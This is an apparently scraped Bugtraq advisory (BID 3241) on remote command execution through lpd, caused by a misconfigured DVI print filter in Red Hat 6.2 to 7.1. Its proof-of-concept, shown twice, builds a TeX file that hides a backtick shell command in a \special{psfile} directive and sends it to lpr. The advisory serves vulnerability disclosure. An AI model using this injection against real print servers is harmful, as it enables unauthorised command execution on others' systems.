Lpd Remote Command Execution via DVI Printfilter Configuration Error
BID:3241
Info
Lpd Remote Command Execution via DVI Printfilter Configuration Error
| Bugtraq ID: | 3241 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 27 2001 12:00AM |
| Updated: | Aug 27 2001 12:00AM |
| Credit: | Discovered by Zenith Parsec <[email protected]>. |
| Vulnerable: |
Redhat Linux 7.1 Redhat Linux 7.0 Redhat Linux 6.2 |
| Not Vulnerable: | |
Discussion
Lpd Remote Command Execution via DVI Printfilter Configuration Error
'dvips' is a utility that converts DVI documents to PostScript. It is an optional component of the TeTeX text formatting package. When installed on a system where LPRnG and TeTeX are in use, 'dvips' will be invoked by 'lpd' when a DVI document is to be printed if a printfilter exists for it.
On some systems, 'dvips' is not invoked in a safe manner. As a result, it may be possible for remote attackers to execute commands through certain DVI directives on vulnerable systems through 'lpd'.
It should be noted that this vulnerability is only due to the configuration of the DVI printfilter on some systems. There is no specific vulnerability in lpd, dvips or any other executable component. It is simply an error in the default configuration present on some systems. It has been reported that Red Hat 7.0 is vulnerable with the default configuration installed with the RPM packages.
'dvips' is a utility that converts DVI documents to PostScript. It is an optional component of the TeTeX text formatting package. When installed on a system where LPRnG and TeTeX are in use, 'dvips' will be invoked by 'lpd' when a DVI document is to be printed if a printfilter exists for it.
On some systems, 'dvips' is not invoked in a safe manner. As a result, it may be possible for remote attackers to execute commands through certain DVI directives on vulnerable systems through 'lpd'.
It should be noted that this vulnerability is only due to the configuration of the DVI printfilter on some systems. There is no specific vulnerability in lpd, dvips or any other executable component. It is simply an error in the default configuration present on some systems. It has been reported that Red Hat 7.0 is vulnerable with the default configuration installed with the RPM packages.
Exploit / POC
Lpd Remote Command Execution via DVI Printfilter Configuration Error
There is no exploit code required. This example is based on Zenith Parsec's original post:
cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi
There is no exploit code required. This example is based on Zenith Parsec's original post:
cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi